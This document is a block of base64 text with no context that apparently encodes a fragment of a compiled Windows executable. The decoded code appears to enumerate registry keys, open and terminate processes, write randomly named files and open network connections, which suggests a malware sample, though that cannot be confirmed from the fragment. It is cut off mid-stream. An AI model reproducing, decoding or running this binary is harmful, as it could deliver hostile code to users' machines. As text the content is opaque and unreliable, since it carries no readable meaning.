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 